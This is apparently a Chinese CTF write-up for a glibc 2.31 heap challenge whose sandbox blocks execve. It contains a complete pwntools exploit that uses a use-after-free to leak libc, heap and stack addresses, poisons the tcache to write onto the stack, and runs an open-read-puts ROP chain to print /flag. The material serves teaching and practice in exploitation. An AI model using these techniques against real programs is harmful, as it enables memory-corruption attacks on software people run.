非常友好的堆题,uaf 直接用,libc 和 heap 地址随便拿,但是故意搞了个沙箱,不能使用 execve 只能打 orw.
由于 orw 需要较长的执行链,所以一般打 ROP 会比较方便。打 ROP 就要获取栈地址,这个在获得 libc 地址后可以通过 leak environ 变量中的内容实现。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
$ strings ./libc.so.6| grep "GNU"
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.16) stable release version 2.31.
Compiled by GNU CC version 9.4.0.
from pwn import *
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
local = 1
if local == 1:
io = process('./pwn')
# gdb.attach(io, "b *$rebase(0x14d7)")
gdb.attach(io)
else:
io = remote("", )
def cmd(choice):
io.sendlineafter(b'> \n', str(choice).encode())
def add(idx, size, content):
cmd(1)
io.sendlineafter(b'yours Index: \n', str(size).encode())
io.sendlineafter(b'yours Size: \n', str(idx).encode())
io.sendafter(b'yours Content: \n', content)
def delete(idx):
cmd(2)
io.sendlineafter(b'yours Index: \n', str(idx).encode())
def show(idx):
cmd(4)
io.sendlineafter(b'yours Index: ', str(idx).encode())
def edit(idx, content):
cmd(3)
io.sendlineafter(b'yours Index: \n', str(idx).encode())
io.sendafter(b'yours Content: \n', content)
def pwn():
# leak libc
for i in range(7):
add(0x80, 15-i, b'a') # 9, 10, 11, 12, 13, 14, 15
add(0x80, 0, b'a')
add(0x80, 1, b'/flag') # 1 作隔离用,否则直接 free 0 会和 top chunk 合并
# add(0x80, 1, b'b')
# add(0x80, 8, b'd')
for i in range(7):
delete(15-i) # 申请完 tcache
# delete(1)
# pause()
delete(0) # fastbin 最大 0x80, 这个 chunk 是 0x90,进入 unsorted bin
show(0)
io.recvline()
leak = io.recvline()[:6]
libc_base = u64(leak.ljust(8, b'\x00')) - 0x1ecbe0
print(f"libcbase:{hex(libc_base)}")
# leak heap
add(0x60, 2, b'a')
delete(2)
show(2)
io.recvline()
leak = io.recvline()[:6]
heap_base = u64(leak.ljust(8, b'\x00')) - 0xba0
print(f"heapbase:{hex(heap_base)}")
# leak stack
environ = libc_base + 0x1ef600 # 已知 libc 基地址,需要获得栈地址,就要想到 leak environ 的内容
edit(2, p64(environ))
add(0x60, 3, b'a')
add(0x60, 4, b'\x00')
show(4)
io.recvline()
leak = io.recvline()[:6]
stack_addr = u64(leak.ljust(8, b'\x00')) - 0x118
print(f"stack_addr:{hex(stack_addr)}")
# ROP
# 0x0000000000023b6a : pop rdi ; ret
# 0x000000000002601f : pop rsi ; ret
# 0x0000000000119431 : pop rdx ; pop r12 ; ret
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119431
flag_str = heap_base + 0x1430
payload = flat(
pop_rdi, flag_str,
pop_rsi, 0,
libc_base + libc.sym['open'],
pop_rdi, 3,
pop_rsi, flag_str + 0x10,
pop_rdx_r12, 0x50, 0,
libc_base + libc.sym['read'],
pop_rdi, flag_str + 0x10,
libc_base + libc.sym['puts'],
)
add(0x88, 5, b'a')
delete(5)
edit(5, p64(stack_addr))
add(0x88, 6, b'a')
pause()
add(0x88, 7, payload)
io.interactive()
pwn()